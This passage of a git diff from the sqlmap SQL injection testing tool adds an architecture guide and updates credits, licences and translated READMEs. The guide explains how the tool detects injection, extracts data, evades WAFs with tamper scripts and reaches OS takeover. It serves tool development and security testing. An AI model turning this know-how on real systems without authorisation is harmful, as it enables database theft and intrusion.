<blind query="SELECT DISTINCT(SCHEMA_NAME) FROM SYS.COLUMNS WHERE %s ORDER BY SCHEMA_NAME" query2="SELECT DISTINCT(TABLE_NAME) FROM SYS.COLUMNS WHERE SCHEMA_NAME='%s'" count="SELECT COUNT(DISTINCT(SCHEMA_NAME)) FROM SYS.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYS.COLUMNS WHERE SCHEMA_NAME='%s'" condition="column_name" condition2="schema_name" condition3="table_name"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
</root>
|
||||
|
||||
@@ -0,0 +1,237 @@
|
||||
# sqlmap architecture
|
||||
|
||||
A contributor-oriented map of how sqlmap is put together: the major components,
|
||||
how a run flows through them, and where to start looking for a given concern.
|
||||
|
||||
> This is a map, not a spec. It describes the durable structure and data flow; for
|
||||
> exact signatures, option names, and enumerable lists (tampers, DBMSes, options),
|
||||
> the source is authoritative. **When this document disagrees with the code, the code wins.**
|
||||
|
||||
sqlmap runs on both Python 2.7 and 3.x; sources are kept pure-ASCII unless a literal
|
||||
non-ASCII byte is unavoidable. Compatibility shims live in `lib/core/compat.py` and
|
||||
`thirdparty/six`.
|
||||
|
||||
---
|
||||
|
||||
## 1. Entry points
|
||||
|
||||
| Entry | File | Purpose |
|
||||
|-------|------|---------|
|
||||
| CLI | `sqlmap.py` -> `main()` | the scanner. Applies runtime patches, parses options, runs a scan. |
|
||||
| REST API | `sqlmapapi.py` | `-s` server / `-c` client wrappers around `lib/utils/api.py`. |
|
||||
|
||||
`main()` (sqlmap.py) does, in order: `dirtyPatches()` (monkey-patches stdlib for
|
||||
quirks/security - see below), `setPaths()`, `init()` (option parsing + environment
|
||||
setup), then dispatches to `start()` for a normal scan, or to the self-tests
|
||||
(`--smoke` / `--vuln-test` / `--api-test`) in `lib/core/testing.py`.
|
||||
|
||||
---
|
||||
|
||||
## 2. Global state: `conf` and `kb`
|
||||
|
||||
Almost everything hangs off two process-global singletons defined in `lib/core/data.py`,
|
||||
both `AttribDict` (attribute-accessible dicts; missing keys read back as `None`):
|
||||
|
||||
- **`conf`** - the resolved user configuration (options + derived settings). What the
|
||||
user asked for.
|
||||
- **`kb`** ("knowledge base") - mutable runtime state discovered during a run
|
||||
(identified DBMS, injection points, page templates, caches, locks, counters).
|
||||
|
||||
The configuration pipeline (`lib/core/`):
|
||||
|
||||
- `parse/cmdline.py` - argparse definition of every CLI option.
|
||||
- `core/optiondict.py` - option name -> type map (used for config-file/API coercion).
|
||||
- `core/defaults.py` - default values.
|
||||
- `core/option.py` - the heavy lifter: `_setConfAttributes()`, `_setKnowledgeBaseAttributes()`,
|
||||
`_setHTTPHandlers()` (installs the global urllib opener incl. keep-alive), DBMS/encoding
|
||||
setup, etc. Merges CLI + config file + defaults into `conf`/`kb`.
|
||||
- `core/settings.py` - constants, version, regexes, thresholds. **New constants go here.**
|
||||
|
||||
Identifiers in the codebase are camelCase.
|
||||
|
||||
---
|
||||
|
||||
## 3. Top-level layout
|
||||
|
||||
| Path | Responsibility |
|
||||
|------|----------------|
|
||||
| `lib/core/` | conf/kb model, common helpers, settings, enums, dump, session, agent, option parsing |
|
||||
| `lib/controller/` | the scan orchestrator (`controller.py`), detection checks (`checks.py`), enumeration dispatch (`action.py`), DBMS handler selection (`handler.py`) |
|
||||
| `lib/request/` | HTTP layer: `connect.py` (sending), `comparison.py` (the true/false oracle), `inject.py` (value extraction), protocol handlers, response processing |
|
||||
| `lib/techniques/` | the exploitation engines: `blind/inference.py`, `error/use.py`, `union/{test,use}.py`, `dns/` |
|
||||
| `lib/parse/` | parsing of inputs: CLI, config, HTTP request/log files, HTML, sitemap, and the XML payload/boundary loader (`payloads.py`) |
|
||||
| `lib/utils/` | feature modules: `api.py` (REST), `hashdb.py` (session), `crawler.py`, `hash.py` (cracking), `har.py`, `brute.py`, `search.py`, ... |
|
||||
| `lib/takeover/` | OS-level takeover: shells, file access, UDF, registry, Metasploit, `xp_cmdshell` |
|
||||
| `plugins/generic/` | DBMS-agnostic enumeration/fingerprint/filesystem/takeover base classes |
|
||||
| `plugins/dbms/<dbms>/` | per-DBMS subclasses + dialect (one dir per supported DBMS) |
|
||||
| `tamper/` | payload-mutation scripts (WAF bypass), one `tamper()` per file |
|
||||
| `data/xml/` | the data-driven engine: `boundaries.xml`, `payloads/*.xml`, `queries.xml`, `errors.xml` |
|
||||
| `data/` (other) | wordlists/common tables/columns (`txt/`), UDFs (`udf/`), stored procs (`procs/`), shells (`shell/`) |
|
||||
| `tests/` | stdlib-unittest suite (offline); see section 11 |
|
||||
| `thirdparty/` | vendored dependencies (six, bottle, chardet, ...) - no pip at runtime |
|
||||
| `extra/` | auxiliary tools (e.g. `vulnserver` used by `--vuln-test`) |
|
||||
|
||||
---
|
||||
|
||||
## 4. The scan lifecycle (`lib/controller/controller.py: start()`)
|
||||
|
||||
For each target:
|
||||
|
||||
1. **Target setup** - `initTargetEnv()` / `setupTargetEnv()` (`lib/core/target.py`):
|
||||
resolve URL/params, open the per-target output dir and session file
|
||||
(`conf.hashDBFile`), and **resume** anything already known (DBMS, injection points,
|
||||
cached values) from the session.
|
||||
2. **Connection & profiling** (`lib/controller/checks.py`): `checkConnection()`,
|
||||
`checkWaf()` (fills `kb.identifiedWafs`), `checkStability()` /
|
||||
dynamic-content detection (establishes `kb.pageTemplate`, `kb.matchRatio`).
|
||||
3. **Heuristics** - `heuristicCheckSqlInjection()` (cheap error-based hint).
|
||||
4. **Detection** - `checkSqlInjection(place, parameter, value)` per parameter, driven by
|
||||
the data engine (section 5). Confirmed points are appended to `kb.injections`.
|
||||
5. **Fingerprint & handler** - `lib/controller/handler.py: setHandler()` identifies the
|
||||
back-end DBMS and assigns `conf.dbmsHandler`, the object through which all
|
||||
enumeration is dispatched (section 7).
|
||||
6. **Action** - `action()` (`lib/controller/action.py`) routes the requested operation
|
||||
(`--banner`, `--dbs`, `--tables`, `--dump`, `--sql-query`, `--os-shell`, ...) to
|
||||
`conf.dbmsHandler` methods, and feeds results to `conf.dumper`.
|
||||
|
||||
If nothing is injectable, the dead-end advisory (level/risk, technique, `--text-only`,
|
||||
`--tamper` - definitive when `kb.identifiedWafs` is set) is raised as
|
||||
`SqlmapNotVulnerableException`.
|
||||
|
||||
---
|
||||
|
||||
## 5. The data-driven detection engine
|
||||
|
||||
Detection behavior lives in **data, not code** - `data/xml/`, loaded by
|
||||
`lib/parse/payloads.py` (`loadBoundaries()`, `loadPayloads()`):
|
||||
|
||||
- **`boundaries.xml`** - injection *boundaries*: prefix/suffix pairs and the
|
||||
clause/where/parameter-type context they apply to (e.g. quote vs. numeric contexts).
|
||||
- **`payloads/*.xml`** - the *tests*, one file per technique
|
||||
(`boolean_blind`, `error_based`, `inline_query`, `stacked_queries`, `time_blind`,
|
||||
`union_query`), each with the request template and the comparison/grep logic that
|
||||
decides success.
|
||||
|
||||
`getSortedInjectionTests()` (`lib/core/common.py`) orders the candidate tests by the
|
||||
identified/likely DBMS, `--level`, and `--risk`. The **agent** (`lib/core/agent.py`)
|
||||
forges the actual payload string - applying boundary prefix/suffix, the `[RANDNUM]`/
|
||||
`[DELIMITER]`-style markers, comments, and tamper scripts. Requests go out via
|
||||
`lib/request/connect.py`; the **oracle** `lib/request/comparison.py` decides true/false
|
||||
by comparing the response against `kb.pageTemplate` (difflib ratio vs. `kb.matchRatio`,
|
||||
plus titles/errors/HTTP-code signals).
|
||||
|
||||
---
|
||||
|
||||
## 6. Exploitation techniques
|
||||
|
||||
Once a parameter is injectable, value extraction is dispatched by
|
||||
`lib/request/inject.py: getValue()` to the matching engine in `lib/techniques/`:
|
||||
|
||||
| Technique | Engine | Mechanism |
|
||||
|-----------|--------|-----------|
|
||||
| boolean-based blind | `blind/inference.py: bisection()` | binary-search each character via true/false oracle |
|
||||
| time-based blind / stacked | `blind/inference.py` (time compare) | same bisection, oracle is a measured delay |
|
||||
| error-based | `error/use.py: errorUse()` | parse the value straight out of a provoked DB error |
|
||||
| UNION query | `union/{test,use}.py` | column-count detection then `UNION SELECT` extraction |
|
||||
| inline query | (inline, via inject) | value embedded in the original query position |
|
||||
| DNS exfiltration | `dns/` | `--dns-domain` out-of-band channel |
|
||||
|
||||
`bisection()` is the hot loop; it caches the `--charset` table in
|
||||
`kb.cache.charsetAsciiTbl` and respects the `kb.disableShiftTable` runaway-guard latch
|
||||
(intentional). Multi-threaded extraction is coordinated via `kb.locks` and
|
||||
`getCurrentThreadData()` (`lib/core/threads.py`).
|
||||
|
||||
---
|
||||
|
||||
## 7. DBMS abstraction
|
||||
|
||||
Enumeration is DBMS-agnostic at the top and specialized underneath:
|
||||
|
||||
- **`plugins/generic/`** - base classes for each concern: `fingerprint.py`,
|
||||
`enumeration.py`, `databases.py`, `entries.py`, `users.py`, `filesystem.py`,
|
||||
`takeover.py`, `syntax.py`, `misc.py`, `search.py`, `custom.py`, `connector.py`
|
||||
(direct DB connection for `-d`).
|
||||
- **`plugins/dbms/<dbms>/`** - one directory per supported DBMS, subclassing the generic
|
||||
pieces and supplying dialect specifics.
|
||||
- **`data/xml/queries.xml`** - per-DBMS SQL query templates (banner, current user, table
|
||||
enumeration, casting, etc.) keyed by DBMS. The generic code asks for a query by name;
|
||||
the dialect comes from XML.
|
||||
|
||||
`conf.dbmsHandler` (set in `handler.py`) is the live object that `action()` calls into.
|
||||
|
||||
---
|
||||
|
||||
## 8. Output and session
|
||||
|
||||
- **Output** - `conf.dumper` is a `Dump` instance (`lib/core/dump.py`): console tables
|
||||
plus per-table file export in CSV / HTML / SQLITE / JSONL (`--dump-format`). Logging
|
||||
is via `logger` (`lib/core/log.py`).
|
||||
- **Session / resume** - each target gets a SQLite session file
|
||||
(`<output>/<host>/session.sqlite`). `hashDBWrite()` / `hashDBRetrieve()`
|
||||
(`lib/core/common.py`, backed by `lib/utils/hashdb.py`) cache injection points,
|
||||
fingerprint, and extracted values so a re-run *resumes* instead of re-testing
|
||||
(`--flush-session` discards it; `--fresh-queries` ignores cached query results). A
|
||||
stale-session nudge fires on resume when the file is older than `HASHDB_STALE_DAYS`.
|
||||
|
||||
---
|
||||
|
||||
## 9. Request layer and tampering
|
||||
|
||||
`lib/request/connect.py` (`Connect.getPage`) is the single HTTP chokepoint. Around it:
|
||||
protocol handlers (`httpshandler`, `redirecthandler`, `chunkedhandler`, `rangehandler`,
|
||||
persistent connections via `lib/request/keepalive.py`), response processing (`basic.py`), and the
|
||||
comparison oracle (`comparison.py`).
|
||||
|
||||
**Tamper scripts** (`tamper/`) mutate the payload just before sending to evade WAF/IPS.
|
||||
Each file exposes a `tamper(payload, **kwargs)` and a `__priority__`; `--tamper=a,b,c`
|
||||
chains them in priority order. They are payload-string transforms only (no engine
|
||||
coupling), which is why they compose freely.
|
||||
|
||||
---
|
||||
|
||||
## 10. REST API and JSON report
|
||||
|
||||
`lib/utils/api.py` runs a Bottle server (`sqlmapapi.py -s`) that drives sqlmap scans as
|
||||
subprocesses and exposes them over HTTP. Key pieces: `DataStore`/`Task` (task registry),
|
||||
an IPC SQLite `Database` (the subprocess writes results/logs/errors back through
|
||||
`StdDbOut`), and the route handlers (`/task/*`, `/option/*`, `/scan/*`, `/version`, ...).
|
||||
The contract is documented in `sqlmapapi.yaml` (OpenAPI) and `REST-API.md`.
|
||||
|
||||
`--report-json` reuses the *same* assembly code (`_assembleData` / `_sanitizeScanData`)
|
||||
that the `/scan/<id>/data` endpoint uses, so the CLI report and the API result can't
|
||||
drift; `RESTAPI_VERSION` is the API contract version (major exposed as integer).
|
||||
|
||||
---
|
||||
|
||||
## 11. Tests and self-tests
|
||||
|
||||
Two complementary layers:
|
||||
|
||||
- **Offline unit/regression suite** (`tests/`) - stdlib `unittest` only (no pytest/pip),
|
||||
green on py2 + py3. `_testutils.py` bootstraps global state and provides the
|
||||
property/fuzz harness (`Rng` - a cross-version-identical PRNG - and `for_all`). Run:
|
||||
`python -B -m unittest discover -s tests -p "test_*.py"` (`-B` matters: a cached `.pyc`
|
||||
makes a `getFileType(__file__)` doctest see `binary`).
|
||||
- **In-tree self-tests** (`lib/core/testing.py`, hidden switches): `--smoke-test`
|
||||
(doctests + regex sanity over the whole tree), `--vuln-test` (end-to-end scans against
|
||||
the bundled `extra/vulnserver`), `--api-test` (live REST round-trip). The CI workflow
|
||||
(`.github/workflows/tests.yml`) runs all of these.
|
||||
|
||||
---
|
||||
|
||||
## 12. "Where do I start for ...?"
|
||||
|
||||
| I want to change... | Start in |
|
||||
|---------------------|----------|
|
||||
| a CLI option | `lib/parse/cmdline.py` (+ `optiondict.py`, `defaults.py`) |
|
||||
| a constant/threshold | `lib/core/settings.py` |
|
||||
| how injection is *detected* | `data/xml/boundaries.xml` + `data/xml/payloads/*.xml`, then `lib/controller/checks.py` |
|
||||
| how a value is *extracted* | `lib/request/inject.py` + the relevant `lib/techniques/` engine |
|
||||
| the true/false decision | `lib/request/comparison.py` |
|
||||
| a per-DBMS query/dialect | `data/xml/queries.xml` + `plugins/dbms/<dbms>/` |
|
||||
| enumeration behavior | `plugins/generic/*.py` |
|
||||
| dump/output format | `lib/core/dump.py` |
|
||||
| a WAF-bypass transform | add a file under `tamper/` |
|
||||
| the REST API surface | `lib/utils/api.py` (+ keep `sqlmapapi.yaml` in sync) |
|
||||
| session/resume behavior | `lib/utils/hashdb.py` + `hashDB*` in `lib/core/common.py` |
|
||||
| a stdlib monkey-patch / security shim | `lib/core/patch.py` |
|
||||
+4
-1
@@ -175,7 +175,7 @@ Ivan Giacomelli, <truemilk(at)insiberia.net>
|
||||
* for reviewing the documentation
|
||||
|
||||
Dimitris Giannitsaros, <daremon(at)gmail.com>
|
||||
* for contributing a REST-JSON API client
|
||||
* for contributing a REST API client
|
||||
|
||||
Nico Golde, <nico(at)ngolde.de>
|
||||
* for reporting a couple of bugs
|
||||
@@ -623,6 +623,9 @@ Thierry Zoller, <thierry(at)zoller.lu>
|
||||
Zhen Zhou, <zhouzhenster(at)gmail.com>
|
||||
* for suggesting a feature
|
||||
|
||||
Zakaria Zoulati, <https://github.com/zakaria-zoulati>
|
||||
* for contributing SAP HANA support
|
||||
|
||||
-insane-, <insane_(at)gmx.de>
|
||||
* for reporting a minor bug
|
||||
|
||||
|
||||
+1
-7
@@ -15,7 +15,7 @@ This file lists bundled packages and their associated licensing terms.
|
||||
Copyright (C) 2013, Jonathan Hartley.
|
||||
* The `Fcrypt` library located under `thirdparty/fcrypt/`.
|
||||
Copyright (C) 2000, 2001, 2004 Carey Evans.
|
||||
* The `SocksiPy` library located under `thirdparty/socks/`.
|
||||
* The `PySocks` library located under `thirdparty/socks/`.
|
||||
Copyright (C) 2006, Dan-Haim.
|
||||
|
||||
````
|
||||
@@ -46,10 +46,6 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
* The `Chardet` library located under `thirdparty/chardet/`.
|
||||
Copyright (C) 2008, Mark Pilgrim.
|
||||
* The `KeepAlive` library located under `thirdparty/keepalive/`.
|
||||
Copyright (C) 2002-2003, Michael D. Stenner.
|
||||
* The `MultipartPost` library located under `thirdparty/multipart/`.
|
||||
Copyright (C) 2006, Will Holcomb.
|
||||
* The `icmpsh` tool located under `extra/icmpsh/`.
|
||||
Copyright (C) 2010, Nico Leidecker, Bernardo Damele.
|
||||
|
||||
@@ -272,8 +268,6 @@ be bound by the terms and conditions of this License Agreement.
|
||||
Copyright (C) 2024, Marcel Hellkamp.
|
||||
* The `identYwaf` library located under `thirdparty/identywaf/`.
|
||||
Copyright (C) 2019-2021, Miroslav Stampar.
|
||||
* The `ordereddict` library located under `thirdparty/odict/`.
|
||||
Copyright (C) 2009, Raymond Hettinger.
|
||||
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
|
||||
Copyright (C) 2010-2024, Benjamin Peterson.
|
||||
* The `Termcolor` library located under `thirdparty/termcolor/`.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -58,11 +58,12 @@
|
||||
----
|
||||
|
||||
* الصفحة الرئيسية: https://sqlmap.org
|
||||
* التحميل: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||
* التحميل: [‪.tar.gz‬](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [‪.zip‬](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||
* تغذية التحديثات RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||
* تتبع المشكلات: https://github.com/sqlmapproject/sqlmap/issues
|
||||
* دليل المستخدم: https://github.com/sqlmapproject/sqlmap/wiki
|
||||
* الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* تويتر: [@sqlmap](https://x.com/sqlmap)
|
||||
* العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
* ساحة التدريب: https://sekumart.sekuripy.hr
|
||||
* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,5 @@ sqlmap работи самостоятелно с [Python](https://www.python.or
|
||||
* Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Площадка за упражнения: https://sekumart.sekuripy.hr
|
||||
* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -58,5 +58,6 @@ SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এ
|
||||
* সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* অনুশীলন সাইট: https://sekumart.sekuripy.hr
|
||||
* স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -62,6 +62,7 @@ sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https
|
||||
* پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* گۆڕەپانی تاقیکردنەوە: https://sekumart.sekuripy.hr
|
||||
* وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە
|
||||
|
||||
وەرگێڕانەکان
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -46,4 +46,5 @@ Links
|
||||
* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Spielwiese: https://sekumart.sekuripy.hr
|
||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -46,4 +46,5 @@ Enlaces
|
||||
* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Campo de pruebas: https://sekumart.sekuripy.hr
|
||||
* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -81,4 +81,5 @@
|
||||
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* توییتر: [@sqlmap](https://x.com/sqlmap)
|
||||
* رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* زمین تمرین: https://sekumart.sekuripy.hr
|
||||
* تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -46,4 +46,5 @@ Liens
|
||||
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Terrain de jeu: https://sekumart.sekuripy.hr
|
||||
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,5 @@
|
||||
* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Χώρος δοκιμών: https://sekumart.sekuripy.hr
|
||||
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,5 @@ Poveznice
|
||||
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Vježbalište: https://sekumart.sekuripy.hr
|
||||
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -50,4 +50,5 @@ Tautan
|
||||
* Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos)
|
||||
* Arena latihan: https://sekumart.sekuripy.hr
|
||||
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -46,5 +46,6 @@ sqlmap [Python](https://www.python.org/download/) संस्करण **2.7**
|
||||
* अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* ट्विटर: [@sqlmap](https://x.com/sqlmap)
|
||||
* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* अभ्यास स्थल: https://sekumart.sekuripy.hr
|
||||
* स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
*
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,5 @@ Link
|
||||
* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Campo di prova: https://sekumart.sekuripy.hr
|
||||
* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -48,4 +48,5 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの
|
||||
* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* プレイグラウンド: https://sekumart.sekuripy.hr
|
||||
* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -46,4 +46,5 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ
|
||||
* ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* სავარჯიშო სივრცე: https://sekumart.sekuripy.hr
|
||||
* ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,5 @@ sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록
|
||||
* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* 트위터: [@sqlmap](https://x.com/sqlmap)
|
||||
